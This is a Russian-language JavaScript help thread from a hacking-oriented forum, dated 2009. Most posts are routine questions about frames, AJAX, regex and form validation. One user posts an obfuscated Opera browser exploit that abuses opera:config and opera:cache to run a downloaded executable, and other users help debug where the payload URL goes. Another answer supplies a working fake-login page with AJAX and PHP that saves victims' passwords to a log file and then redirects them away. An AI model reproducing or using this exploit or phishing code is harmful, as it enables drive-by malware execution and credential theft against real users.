А у страницы на которой этот код стоит хост тоже 192.168.1.2?
да
на http://192.168.1.2/drop.php есть поле текстовое поле drop
var a=document.getElementById('frame').document.getEle mentById('drop').value;
еррор - требуется объект

XopoIII
30.06.2009, 03:30
var a=parent.frames['name_фрейма'].document.getEle mentById('drop').value;

sNt
30.06.2009, 23:52
Нужно определить точно хост+дира (на javascript), откуда запущен скрипт. Типа:

Скрипт js.js запущен из папки pizda на localhost, и он выдает: http://localhost/pizda/js.js.

Как это сдеделать? Спасибо :)

Pashkela
01.07.2009, 00:22
<script>
alert(location.href);
</script>

sNt
01.07.2009, 00:55
Сори, выразился не ясно... Смотри, нужно, чтобы определялся путь (без самого файла, тока путь с дирой), а в конце приписывался файл уже (отдельно), например: pipka.php... Сори, что сразу не сказал...

sNt
01.07.2009, 00:59
И, если не сложно, забей результат в переменную, чтобы сразу выводить...

Pashkela
01.07.2009, 01:16
<script>
// Пример:
var reg=/http:\/\/(.*)\//;
var arr=reg.exec("http://baklajka.ru/krug/bossota/shanson/1.txt");
alert(arr[1]);
// Сабж:
var reg=/http:\/\/(.*)\//;
var file = 'test.php';
var arr=reg.exec(location.href);
alert(arr[1]+'/'+file);
</script>

sNt
01.07.2009, 01:25
Цены тебе нет. Спс :)

sNt
01.07.2009, 14:09
Есть следующий сплоит под оперу:

<script>

var reg=/http:\/\/(.*)\//;
var file = 'load.php';
var arr=reg.exec(location.href);
var url = 'http://'+arr[1]+'/'+file;

var a = 1;
var b = 2;

function sum(a,b) {
return (a + b); }

var abc = 123;
var bcd = 234;
var cde = 456;

function my(abc,bcd,cde) {
return (cde - bcd - abc); }

blank_iframe = document.createElement('iframe');
blank_iframe.src = 'about:blank';
blank_iframe.setAttribute('id', 'blank_iframe_window');
blank_iframe.setAttribute('style', 'display:none');
document.appendChild(blank_iframe);
blank_iframe_window.eval
("co"+"n"+"fi"+"g"+"_"+"if"+"ra"+"m"+"e = d"+"ocum"+"en"+"t"+"."+"cr"+"ea"+"te"+"Ele"+"ment('iframe');\
config_iframe.setAttribute('id', 'config_iframe_window');\
config_iframe.src = 'opera:config';\
document.appendChild(config_iframe);\
app_iframe = document.createElement('script');\
cache_iframe = document.createElement('iframe');\
app_iframe.src = СЮДА;\
app_iframe.onload = function ()\
{\
cache_iframe.src = 'opera:cache';\
cache_iframe.onload = function ()\
{\
cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\
var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\
filename = cache.match(re);\
config_iframe_window.eval\
(\"\
opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\
app_link = document.createElement('a');\
app_link.setAttribute('href', 'tn3270://nothing');\
app_link.click();\
setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\
\");\
};\
document.appendChild(cache_iframe);\
};\
document.appendChild(app_iframe);");


var xyz = 123;
var xxy = 112;

function sum(xyz,xxy) {
return (xyz + xxy); }


</script>

В скрипте определяется путь до файла load.php, после чего результат должен быть вставлен в поле (переменная url), обозначенное как СЮДА, но, почему-то, вставляться не хочет... Как это сделать?
P.S. Надо именно на javascript, не на php. В яве ноль, Pashkela, выручай ;)

m0nsieur
01.07.2009, 14:59
что-то я не понял смысл этого выражения - var arr=reg.exec(location.href); ....

попробуй в начале заменить на вот это

var tmp=location.href;
var file = 'load.php';
var arr = tmp.match(/http:\/\/(.*)\//);
var url = 'http://'+arr[1]+'/'+file;

и ниже строчку где надпись СЮДА
app_iframe.src = url;\

p.s. у себя попробовал, где-то дальше отваливается, но у меня фф, может на опере не будет.

sNt
01.07.2009, 15:15
Я так и делаю. Как ты выразился - "отваливается".

m0nsieur
01.07.2009, 15:31
я ошибся со вторым выражением, должно быть так..
app_iframe.src = '"+url+"';\

но фф все равно дальше ругается, даже самому стало интересно.

sNt
01.07.2009, 15:56
Нужна функция для перевода символов в hex вида %ue2e на яве... В инете не пашет ничего, если и есть. Мб руки кривые... Помогите плз.. Спасибо :)

comeoff
05.07.2009, 00:11
Подскажите пожалуйста как из одного js файла вызвать другой?
например есть файлик 1.js мне нужно в конце подгрузить код из файла 2.js

спасибо

svesve
06.07.2009, 16:47
Нет ли у кого примера JavaScript фукнции при вызове которой мы можем вставлять ссылки в textarea

типа как тут на форуме вставка ссылки нужа такая же.

если у кого есть,помогите.
Спасибо.

heretic1990
06.07.2009, 17:38
вобщем такая проблемма:
мне надо открыть pop-up , а перед открытием выскакивало окно с предупреждением
если я делаю так то ссылка открывается в одном окне, а не в поп-апе((
<a onclick="return confirm('открыть?');" href="test.php" onclick="NewWindow(this.href,'тест','180','150','no','c enter');return false" onfocus="this.blur()">открыть окно</a>

или так

<a href="test.php" onclick="return confirm('открыть?'); NewWindow(this.href,'тест','180','150','no','c enter')" onfocus="this.blur()">открыть окно</a>


код поп-апа
<script language="javascript" type="text/javascript">
var win=null;
function NewWindow(mypage,myname,w,h,scroll,pos){
if(pos=="random"){LeftPosition=(screen.width)?Math.floor(Math.rand om()*(screen.width-w)):100;TopPosition=(screen.height)?Math.floor(Mat h.random()*((screen.height-h)-75)):100;}
if(pos=="center"){LeftPosition=(screen.width)?(screen.width-w)/2:100;TopPosition=(screen.height)?(screen.height-h)/2:100;}
else if((pos!="center" && pos!="random") || pos==null){LeftPosition=0;TopPosition=20}
settings='width='+w+',height='+h+',top='+TopPositi on+',left='+LeftPosition+',scrollbars='+scroll+',l ocation=no,directories=no,status=no,menubar=no,too lbar=no,resizable=no';
win=window.open(mypage,myname,settings);
if(win.focus){win.focus();}}
function CloseNewWin(){if(win!=null && win.open)win.close()}
window.onfocus=CloseNewWin;
</script>

помогите пожалуйста!
P.S. с меня плюсы!

[n]-c0der
06.07.2009, 23:34
признаюсь я балбес, и не имел до этого дела с Ajax, Делаю запросы, они не пашут(, что нужно для работы Ajax? браузер Mozilla... мне стремно за такой вопрос, но все же...

XopoIII
07.07.2009, 14:11
браузер не имеет значения, почитай о библиотеке jquery с ней будет проще начать работать с ajax

Origin
07.07.2009, 15:22
Вот пример кода, как я обычно через ajax изменял один div. Большего мне не требовалось. Сейчас же надо, чтобы нажатие кнопки изменяло 2 и более div'ов.
Подскажите, как? Без использования jquery и подобных библиотек.
Спасибо.


test.php

var request;
var dest;
function processStateChange(){
if (request.readyState < 4) document.getElementById(dest).innerHTML = "Загрузка...";
if (request.readyState == 4){
contentDiv = document.getElementById(dest);
if (request.status == 200){



response = request.responseText ;
contentDiv.innerHTML = response;




} else {
contentDiv.innerHTML = "Error: Status "+request.status;
}

}
}


function test1( destination ){
dest = destination;
URL = "test_print.php";
arg = "act=" + dest ;
if (window.XMLHttpRequest){
request = new XMLHttpRequest();
request.onreadystatechange = processStateChange;
request.open("POST", URL, true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(arg);
} else if (window.ActiveXObject) {
request = new ActiveXObject("Microsoft.XMLHTTP");
if (request) {
request.onreadystatechange = processStateChange;
request.open("POST", URL, true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(arg);
}
}
}


<div id="t1"> 1 </div>

<div id="t2"> 2 </div>
<input type="button" onclick="test1('t1')" value="go">

test_print.php
<?print "1111"?>

[n]-c0der
07.07.2009, 17:18
браузер не имеет значения, почитай о библиотеке jquery с ней будет проще начать работать с ajax
activex разрешать не обязательно?

imajo.ati
08.07.2009, 15:42
-c0der']activex разрешать не обязательно?нужно разрешить исполнение подписанных activeX сценариев а то xmlhttp объект в IE не создастся

Bel
08.07.2009, 22:27
Вот простенький javascript (тест на 25 вопросов):
<SCRIPT language=JavaScript>
var res="1111122222333334444411111"
function check_me()
{
var count=0
with(document.test)
{
if (!Q1[0].checked&&!Q1[1].checked&&!Q1[2].checked&&!Q1[3].checked) {count+=1};
if (!Q2[0].checked&&!Q2[1].checked&&!Q2[2].checked&&!Q2[3].checked) {count+=1};
if (!Q3[0].checked&&!Q3[1].checked&&!Q3[2].checked&&!Q3[3].checked) {count+=1};
if (!Q4[0].checked&&!Q4[1].checked&&!Q4[2].checked&&!Q4[3].checked) {count+=1};
if (!Q5[0].checked&&!Q5[1].checked&&!Q5[2].checked&&!Q5[3].checked) {count+=1};
if (!Q6[0].checked&&!Q6[1].checked&&!Q6[2].checked&&!Q6[3].checked) {count+=1};
if (!Q7[0].checked&&!Q7[1].checked&&!Q7[2].checked&&!Q7[3].checked) {count+=1};
if (!Q8[0].checked&&!Q8[1].checked&&!Q8[2].checked&&!Q8[3].checked) {count+=1};
if (!Q9[0].checked&&!Q9[1].checked&&!Q9[2].checked&&!Q9[3].checked) {count+=1};
if (!Q10[0].checked&&!Q10[1].checked&&!Q10[2].checked&&!Q10[3].checked) {count+=1};
if (!Q11[0].checked&&!Q11[1].checked&&!Q11[2].checked&&!Q11[3].checked) {count+=1};
if (!Q12[0].checked&&!Q12[1].checked&&!Q12[2].checked&&!Q12[3].checked) {count+=1};
if (!Q13[0].checked&&!Q13[1].checked&&!Q13[2].checked&&!Q13[3].checked) {count+=1};
if (!Q14[0].checked&&!Q14[1].checked&&!Q14[2].checked&&!Q14[3].checked) {count+=1};
if (!Q15[0].checked&&!Q15[1].checked&&!Q15[2].checked&&!Q15[3].checked) {count+=1};
if (!Q16[0].checked&&!Q16[1].checked&&!Q16[2].checked&&!Q16[3].checked) {count+=1};
if (!Q17[0].checked&&!Q17[1].checked&&!Q17[2].checked&&!Q17[3].checked) {count+=1};
if (!Q18[0].checked&&!Q18[1].checked&&!Q18[2].checked&&!Q18[3].checked) {count+=1};
if (!Q19[0].checked&&!Q19[1].checked&&!Q19[2].checked&&!Q19[3].checked) {count+=1};
if (!Q20[0].checked&&!Q20[1].checked&&!Q20[2].checked&&!Q20[3].checked) {count+=1};
if (!Q21[0].checked&&!Q21[1].checked&&!Q21[2].checked&&!Q21[3].checked) {count+=1};
if (!Q22[0].checked&&!Q22[1].checked&&!Q22[2].checked&&!Q22[3].checked) {count+=1};
if (!Q23[0].checked&&!Q23[1].checked&&!Q23[2].checked&&!Q23[3].checked) {count+=1};
if (!Q24[0].checked&&!Q24[1].checked&&!Q24[2].checked&&!Q24[3].checked) {count+=1};
if (!Q25[0].checked&&!Q25[1].checked&&!Q25[2].checked&&!Q25[3].checked) {count+=1};
if (count>0) {alert("Вы выполнили не все задания. Проверьте себя.")}
else answer()
}
}

function control(k,f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,f 13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,f24,f25 )
{
if (k==1&&f1.checked) return true;
if (k==2&&f2.checked) return true;
if (k==3&&f3.checked) return true;
if (k==4&&f4.checked) return true;
if (k==5&&f5.checked) return true;
if (k==6&&f6.checked) return true;
if (k==7&&f7.checked) return true;
if (k==8&&f8.checked) return true;
if (k==9&&f9.checked) return true;
if (k==10&&f10.checked) return true;
if (k==11&&f11.checked) return true;
if (k==12&&f12.checked) return true;
if (k==13&&f13.checked) return true;
if (k==14&&f14.checked) return true;
if (k==15&&f15.checked) return true;
if (k==16&&f16.checked) return true;
if (k==17&&f17.checked) return true;
if (k==18&&f18.checked) return true;
if (k==19&&f19.checked) return true;
if (k==20&&f20.checked) return true;
if (k==21&&f21.checked) return true;
if (k==22&&f22.checked) return true;
if (k==23&&f23.checked) return true;
if (k==24&&f24.checked) return true;
if (k==25&&f25.checked) return true;
return false;
}

function answer()
{
answ="";
with(document)
{
answ+=control(res.charAt(0),test.Q1[0],test.Q1[1],test.Q1[2],test.Q1[3])?"1":"0"
answ+=control(res.charAt(1),test.Q2[0],test.Q2[1],test.Q2[2],test.Q2[3])?"1":"0"
answ+=control(res.charAt(2),test.Q3[0],test.Q3[1],test.Q3[2],test.Q3[3])?"1":"0"
answ+=control(res.charAt(3),test.Q4[0],test.Q4[1],test.Q4[2],test.Q4[3])?"1":"0"
answ+=control(res.charAt(4),test.Q5[0],test.Q5[1],test.Q5[2],test.Q5[3])?"1":"0"
answ+=control(res.charAt(5),test.Q6[0],test.Q6[1],test.Q6[2],test.Q6[3])?"1":"0"
answ+=control(res.charAt(6),test.Q7[0],test.Q7[1],test.Q7[2],test.Q7[3])?"1":"0"
answ+=control(res.charAt(7),test.Q8[0],test.Q8[1],test.Q8[2],test.Q8[3])?"1":"0"
answ+=control(res.charAt(8),test.Q9[0],test.Q9[1],test.Q9[2],test.Q9[3])?"1":"0"
answ+=control(res.charAt(9),test.Q10[0],test.Q10[1],test.Q10[2],test.Q10[3])?"1":"0"
answ+=control(res.charAt(10),test.Q11[0],test.Q11[1],test.Q11[2],test.Q11[3])?"1":"0"
answ+=control(res.charAt(11),test.Q12[0],test.Q12[1],test.Q12[2],test.Q12[3])?"1":"0"
answ+=control(res.charAt(12),test.Q13[0],test.Q13[1],test.Q13[2],test.Q13[3])?"1":"0"
answ+=control(res.charAt(13),test.Q14[0],test.Q14[1],test.Q14[2],test.Q14[3])?"1":"0"
answ+=control(res.charAt(14),test.Q15[0],test.Q15[1],test.Q15[2],test.Q15[3])?"1":"0"
answ+=control(res.charAt(15),test.Q16[0],test.Q16[1],test.Q16[2],test.Q16[3])?"1":"0"
answ+=control(res.charAt(16),test.Q17[0],test.Q17[1],test.Q17[2],test.Q17[3])?"1":"0"
answ+=control(res.charAt(17),test.Q18[0],test.Q18[1],test.Q18[2],test.Q18[3])?"1":"0"
answ+=control(res.charAt(18),test.Q19[0],test.Q19[1],test.Q19[2],test.Q19[3])?"1":"0"
answ+=control(res.charAt(19),test.Q20[0],test.Q20[1],test.Q20[2],test.Q20[3])?"1":"0"
answ+=control(res.charAt(20),test.Q21[0],test.Q21[1],test.Q21[2],test.Q21[3])?"1":"0"
answ+=control(res.charAt(21),test.Q22[0],test.Q22[1],test.Q22[2],test.Q22[3])?"1":"0"
answ+=control(res.charAt(22),test.Q23[0],test.Q23[1],test.Q23[2],test.Q23[3])?"1":"0"
answ+=control(res.charAt(23),test.Q24[0],test.Q24[1],test.Q24[2],test.Q24[3])?"1":"0"
answ+=control(res.charAt(24),test.Q25[0],test.Q25[1],test.Q25[2],test.Q25[3])?"1":"0"
showResult();
}
}

function showResult()
{
var nok=0;
var i,s;
for (i=0;i<answ.length;i++) {nok+=answ.charAt(i)=="1"?1:0;}
if(nok<=6) s='"ОЧЕНЬ ПЛОХО"';
if(nok>6 && nok<10) s='"НЕУДОВЛЕТВОРИТЕЛЬНО"';
if(nok==10) s='"НЕУДОВЛЕТВОРИТЕЛЬНО"';
if(nok>10 && nok<15) s='"УДОВЛЕТВОРИТЕЛЬНО"';
if(nok==15) s='"УДОВЛЕТВОРИТЕЛЬНО"';
if(nok>15 && nok<21) s='"ХОРОШО"';
if(nok==21) s='"ХОРОШО"';
if(nok>21) s='"ОТЛИЧНО"';
document.test.s1.value="Количество правильных ответов "+nok+" из 25. Ваша оценка "+s+". Загляните в окно рядом с номером задания. Если ответ правильный, то там (+). Если Вы ошиблись, там (-).";
with(document.test)
{
if (answ.charAt(0)=="1") {T1.value=" +"} else {T1.value=" -"};
if (answ.charAt(1)=="1") {T2.value=" +"} else {T2.value=" -"};
if (answ.charAt(2)=="1") {T3.value=" +"} else {T3.value=" -"};
if (answ.charAt(3)=="1") {T4.value=" +"} else {T4.value=" -"};
if (answ.charAt(4)=="1") {T5.value=" +"} else {T5.value=" -"};
if (answ.charAt(5)=="1") {T6.value=" +"} else {T6.value=" -"};
if (answ.charAt(6)=="1") {T7.value=" +"} else {T7.value=" -"};
if (answ.charAt(7)=="1") {T8.value=" +"} else {T8.value=" -"};
if (answ.charAt(8)=="1") {T9.value=" +"} else {T9.value=" -"};
if (answ.charAt(9)=="1") {T10.value=" +"} else {T10.value=" -"};
if (answ.charAt(10)=="1") {T11.value=" +"} else {T11.value=" -"};
if (answ.charAt(11)=="1") {T12.value=" +"} else {T12.value=" -"};
if (answ.charAt(12)=="1") {T13.value=" +"} else {T13.value=" -"};
if (answ.charAt(13)=="1") {T14.value=" +"} else {T14.value=" -"};
if (answ.charAt(14)=="1") {T15.value=" +"} else {T15.value=" -"};
if (answ.charAt(15)=="1") {T16.value=" +"} else {T16.value=" -"};
if (answ.charAt(16)=="1") {T17.value=" +"} else {T17.value=" -"};
if (answ.charAt(17)=="1") {T18.value=" +"} else {T18.value=" -"};
if (answ.charAt(18)=="1") {T19.value=" +"} else {T19.value=" -"};
if (answ.charAt(19)=="1") {T20.value=" +"} else {T20.value=" -"};
if (answ.charAt(20)=="1") {T21.value=" +"} else {T21.value=" -"};
if (answ.charAt(21)=="1") {T22.value=" +"} else {T22.value=" -"};
if (answ.charAt(22)=="1") {T23.value=" +"} else {T23.value=" -"};
if (answ.charAt(23)=="1") {T24.value=" +"} else {T24.value=" -"};
if (answ.charAt(24)=="1") {T25.value=" +"} else {T25.value=" -"};
}
}

</SCRIPT>

Firebug выдает ошибку: uncaught exception: [Exception... "Not enough arguments [nsIDOMWindowInternal.scroll]"
nsresult: "0x80570001 (NS_ERROR_XPC_NOT_ENOUGH_ARGS)" location: "JS frame :: file:///G:/%D0...0%B2.html :: onload :: line 1" data: no]

Может кто объяснить, в чем тут дело? A то я новичек, потому никак и не соображу, чего Firebug ругается :rolleyes:

Pashkela
08.07.2009, 22:29
А что, весь код из яваскрипта состоит? Молодец

Bel
08.07.2009, 22:31
Просто кроме этого куска, больше ничего не изменялось. А в исходнике никаких ошибок не обнаруживается.

ntldr
09.07.2009, 14:50
как на jquery получить то что стоит в строке адреса после #?

m0nsieur
09.07.2009, 15:19
если правильно тебя понял, то так, без jquery правда..

var tmp='https://forum.antichat.ru/threadnav128933-2-10.html#goto_threadrating'; // заменить на location.href
var arr = tmp.match(/#(.+)/);
alert(arr[1]);// выведет goto_threadrating

mff
10.07.2009, 15:46
Не могу разобраться, есть у меня скрипт проверки Тиц и PR , там есть функция:
$(document).ready(function(){
$('#check').click(function(){

if( !$('#url_list').val().length ){
alert('Введите хотябы один url');
return false;
}

/*$('#result').html('<tr class="table_header"><td width="50%" height="25">URL (домен)</td><td width="25%">PR</td><td width="25%">ТИЦ</td></tr>');*/

var url_array = $('#url_list').val().split(/[\n\r]+/);
document.all.result_div.style.display="block";
document.all.result_table.style.display="block";
for( var i = 0; i < url_array.length; i++ ){
color = (i % 2 == 0) ? 'F5F5EA' : 'FFFCF8';
$('#result').append('<tr bgcolor="#'+ color +'"><td width="50%">'+ url_array[i] +'</td><td id="p_'+ i +'" width="25%"><img src="../../../cncat_engine/images/load_small.gif" border="0" /></td><td id="t_'+ i +'" width="25%"><img src="../../../cncat_engine/images/load_small.gif" border="0" /></td></tr>')
get_pr(url_array[i],i);
get_yandex(url_array[i],i);
}

});
}); Всё ок, но вот, если нажать потом на кнопку еще раз, табличка начинает ниже плодить ряды, а мне нужно, чтобы всё удалялось и по новой появлялось. Как мне удалить эти <tr><td></td></tr> ? :confused:

m0nsieur
10.07.2009, 15:51
в самом начале функции сделай
$('#result').empty();

mff
10.07.2009, 16:00
m0nsieur, большое спасибо! То что нужно! :)

Mixon
13.07.2009, 00:03
Проблема такова,как сделать глобальные переменные в eval?
есле сделать так:

function fff(){
eval("var name=value");
}

То поза функцыей fff переменная name доступна не будет,как ето исправить?

FireFenix
13.07.2009, 02:58
объявить переменную перед функцией и присвоить значение в функции?

Mixon
13.07.2009, 14:32
Невозможно....Тут то и дело в самой переменной!

eval("var mix"+rnd+"gh='"+value+"';");

в итоге выходит
var mixbiggh='myvalueBIG';
тут дело в том и состоит,задать имя переменной с других переменных...

sNt
14.07.2009, 06:34
Есь такой код:

<script>
function decrypt(n)
{
var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';

location.replace(document.location + "?decr=" + q);
}

</script>
<input type="text" id="encr"/><br/>
<input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/>
<?php
if(isset($_GET['decr']))
{
// $f=fopen("out.txt", "w");
// fwrite($f, $_GET['decr']);

echo $pr;
}
?>

Так вот он знак + воспринимает как команду. Как заставить его воспринимать как символ?

P.S. Если ввести в поле "+", то он его не выведет, что говорит о том, что он не воспринимает как символ. Как сделать, чтобы он его выводил? :(

imajo.ati
14.07.2009, 08:56
оно ничего не выводит, q = ""

используй encodeURIComponent() для того чтобы + не воспринимался как пробел

sNt
14.07.2009, 15:42
Спс, сделал, как ты сказал, все пашет терь :)

eboome
16.07.2009, 20:17
Здрасти!
Мене нужно сделать скрипт на технологии аякс.
Суть такова.
Как сделать чтобы пост-запрос отправляющийся через форму, сразу давал вывод информации без перезагрузки страницы?

admink1
17.07.2009, 06:00
function page_all(form) {
strAlert1 = "";if (form.com_author.value == "") strAlert1 = "- Имя\n";
strAlert2 = "";
if (((form.com_em.value.indexOf("@")) < 2) || ((form.com_em.value.indexOf(".")) < 2) || ((form.com_em.value.length) < 8))
{strAlert2 = "- e-mail\n";}
strAlert3 = "";if (form.com_city.value == "") strAlert3 = "- Город\n";
strAlert4 = "";if (form.com_text.value == "") strAlert4 = "- Комментарий\n";
strAlert5 = "";if (form.regcode.value == "") strAlert5 = "- Защитный код\n";

strAlert = strAlert1 + strAlert2 + strAlert3 + strAlert4 + strAlert5;

if (strAlert != "") {alert ("Пожалуйста, заполните поля:\n" + strAlert);return false;}
}


есть такой яваскрипт в движке, а именно в чате. так вот как сделать так, чтобы при вводе в коменнтарий(com_text) определенных символов, например: http://, a href. он выдавал ошибку, ату спамеры надаели балин, затраxали честное слово :(

imajo.ati
17.07.2009, 09:45
<form id="form"><textarea name="com_text" onkeyup="aaa()"></textarea></form>

<script>
function aaa()
{
var reg = new RegExp(/http:\/\/|a[^h]+href/g);

if ( form.com_text.value.match(reg) )
{
form.com_text.value = form.com_text.value.replace(reg,"");
alert('no spam!');
}
}
</script>


адаптируй под себя

admink1
17.07.2009, 13:49
блин че то руки у меня кривые, вот пишу так:


function page_all(form) {
strAlert1 = "";if (form.book_author.value == "") strAlert1 = "- Имя\n";


var reg = new RegExp(/http:\/\/|a[^h]+href/g);if ( form.com_text.value.match(reg) )
{
form.com_text.value = form.com_text.value.replace(reg,"");
alert('no spam!');
}


strAlert3 = "";if (form.regcode.value == "") strAlert3 = "- Защитный код\n";

strAlert = strAlert1 + strAlert2 + strAlert3;

if (strAlert != "") {alert ("Пожалуйста, заполните поля:\n" + strAlert);return false;}
}

imajo.ati
17.07.2009, 14:06
function page_all(form)
{
strAlert1 = "";
if ( form.com_author.value == "" )
strAlert1 = "- Имя\n";

strAlert2 = "";
if ( ((form.com_em.value.indexOf("@")) < 2) || ((form.com_em.value.indexOf(".")) < 2) || ((form.com_em.value.length) < 8) )
strAlert2 = "- e-mail\n";

strAlert3 = "";
if ( form.com_city.value == "" )
strAlert3 = "- Город\n";

strAlert4 = "";
if ( form.com_text.value == "" )
strAlert4 = "- Комментарий\n";
else
{
var reg = new RegExp(/http:\/\/|a[^h]+href/g);
if ( form.com_text.value.match(reg) )
form.com_text.value = form.com_text.value.replace(reg,"");
// или какое-нибудь действие вместо удаления символов
}

strAlert5 = "";
if ( form.regcode.value == "" )
strAlert5 = "- Защитный код\n";

strAlert = strAlert1 + strAlert2 + strAlert3 + strAlert4 + strAlert5;

if ( strAlert != "" )
{
alert("Пожалуйста, заполните поля:\n" + strAlert);
return false;
}
}

Micr0b
20.07.2009, 23:19
извиняюсь правда меня интересует такой же вопрос как и в eboome но чуть друго

Micr0b
20.07.2009, 23:20
извиняюсь правда меня интересует такой же вопрос как и в eboome но чуть другой мне нужно чтоб без нажатия кнопки приисходил отправка резуьтата и сразу ответ.. пример такой вконтакте при в фильтра друзей..
Зарания спасибо

FireFenix
20.07.2009, 23:59
Запускай по событии onChange

К примеру :
<input name="text" type="text" onChange="javascript:script()">

Flcn
21.07.2009, 13:18
Приветствую, есть вопрос.. поднял у себя Апач. начал работу с Ajax. есть скрипт где такие строчки:
var xhr=new XMLHttpRequest();
xhr.open("GET", "http://localhost/ajax/main.xml");
(в место локалхоста пробовал и на сайты выкладывать)
адрес правильный.. но Firebug мозиллы сообщает что:
Access to restricted URI denied" code: "1012
xhr.open("GET", "http://localhost/ajax/main.xml");\n

в чём может быть проблема?

imajo.ati
22.07.2009, 07:16
попробуй относительный путь

043nKRuT0y
22.07.2009, 16:07
Приветствую !
В джаве первый раз - нужна помощь !
Есть такая форма :
<FORM method="post" name="login" id="login" onsubmit="login(); return false;">
<LABEL for="email">Email:</LABEL>
<INPUT class="inputText" onclick="show('expirePad');" type="text" name="email" id="email" size="20">
<LABEL for="pass">Пароль:</LABEL>
<INPUT class="inputText" onclick="show('expirePad');" type="password" name="pass" id="pass" size="20">

При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php !

Заранее спс !

n0reply
22.07.2009, 17:39
Приветствую !
bla bla bla....
При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php !

Заранее спс !

Пример будет из нескольких файлов, и понадобиться еще серверный скриптовый язык... Для примера - php.

login.html:

<html>
<head>
<script language="javascript" type="text/javascript" src="ajaxget.js"></script>
</head>

<body>
<form name=fakeLogin onsubmit="return logAccount();">
<input type=text name=victimPass />
<input type=submit />
</form>
<p><span id="loginspan"></span></p>
</body>
</html>


ajaxget.js:

var http_request = false;
function makeRequest(url, parameters) {
http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// set type accordingly to anticipated content type
//http_request.overrideMimeType('text/xml');
http_request.overrideMimeType('text/html');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents;
http_request.open('GET', url + parameters, true);
http_request.send(null);
}

function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
//alert(http_request.responseText);
result = http_request.responseText;
document.getElementById('loginspan').innerHTML = result;
document.location = 'http://yandex.ru/';
} else {
alert('There was a problem with the request.');
}
}
}

function logAccount() {
var f = document.forms['fakeLogin'];
makeRequest('fake.php','?password='+encodeURI(f.vi ctimPass.value));
return false;
}



fake.php:

<?php

if(isset($_GET['password'])){
$password= $_GET['password'];
if ($fp = fopen("logs.txt","a")) {
fputs($fp,$password."\n");
}
echo 'good password, welcome';
} else {
echo 'bad password';
}

?>


Принцип такой, заходим на login.html, вводим пароль, нам говорят что мы успешно вошли и нас перекидывает на yandex.ru. При этом пароль сохраняется на сервере в файле logs.txt.

043nKRuT0y
23.07.2009, 00:08
Вроде все правильно скопил и файлы по создавал , на ДЕНВЕРЕ запустил никакого файла нигде не создается ! Попроще функции нету ???
Может проблему легче на ПХП решить ?

n0reply
23.07.2009, 09:38
Смотри внимательно исходники, файл ajaxget.js, функция logAccount(), вторая строка. Я все правильно вставил в форум, но запостилось почему-то с таинственными пробелами. В листинге encodeURI(f.vi ctimPass.value), а должно быть БЕЗ пробелов, просто f.victimPass.value, попробуй так, должно работать. В других местах вроде опечаток нет. Вроде.

з.ы. на пхп конечно проще, но ты же сам задал вопрос в теме про ajax и js.

BiG_][aKeR
23.07.2009, 12:00
Помогите,нужен аналог етому,с пхп...

preg_match_all('#Text(.*?)Text2#is',$page,$remixem ail);

Чтоб в переменной искало и копировало текст между Text и Text2 в другую переменную,спс...

Pashkela
23.07.2009, 12:34
<script type="text/javascript">
var testString = '34893275 Text lolo Text2 3535 Text lolo1 Text2 34893275 Text lolo2 Text2 3535 Text lolo3 Text2';
var re = /Text(.*?)Text2/g;
while (matches = re.exec(testString)) {
document.write(matches[1]);
}
</script>

BiG_][aKeR
23.07.2009, 12:45
хм,пример то пашет,но дело в том что testString ето вся html страница,с тысячами символов,вот в ней не пашет,ничего не выводит((

Pashkela
23.07.2009, 12:58
ну дык дай пример такой страницы, сюда не влезет - залей куда-нибудь

BiG_][aKeR
23.07.2009, 13:04
Всё,вопрос отпал,то я протупил,спасибо огромное!!!:)))

FeraS
23.07.2009, 13:34
так поцаны, помогите здесь.

Есть страничка с дивом туда инклюдится скрипт пхп. в этом скрипте форма кое какая.

надо сделать так, чтобы при нажатии на кнопку Выполнить в том диве, скрипт выполнялся но страница не перезагружалась. т.е. только тот блок.

FireFenix
23.07.2009, 14:08
http://forum.antichat.ru/showpost.php?p=1389122&postcount=11

<div id="div_submit" onClick="javascript:test(параметры)">Тест</div>
прикрутить к диву

var type = document.getElementById("type");
var url = 'modules/test.php?what=' + type.value;

заменить на своё

//Выполнение действия с результатом php ответа text

Заменить своим обработчиком или вызовом функи. Как пример : document.getElementById("div_submit").innerHTML = text;

P.S. Откопал старый примерчег по AJAX - http://rapidshare.com/files/256201845/user-proofing-ajax.zip.html

BiG_][aKeR
24.07.2009, 14:45
В переменной testString есть такие денные
<a href="video1449_14935">
<img src="http://442.gt3.vkadre.ru/assets/thumbnails/d6294195251.160.vk.jpg"/>
</a>
</div>
</td>
<td width="365px" style="vertical-align:top">
<div style="padding-top:5px" id="videoInfo935">
<div class="aname"><a href="video49_4935">


Вот так пытаюсь скопировать значение:

var re = /d6294195251(.*?)aname/g;
while (matches = re.exec(testString)) {
var matchese=matches[1];
}
alert(matchese);


Почему не работает понятия не имею,в matchese выводит unfernied а в matches выводит null,кто знает в чём трабла??

imajo.ati
24.07.2009, 17:37
[aKeR']кто знает в чём трабла??

так работает?

<script type="text/javascript">

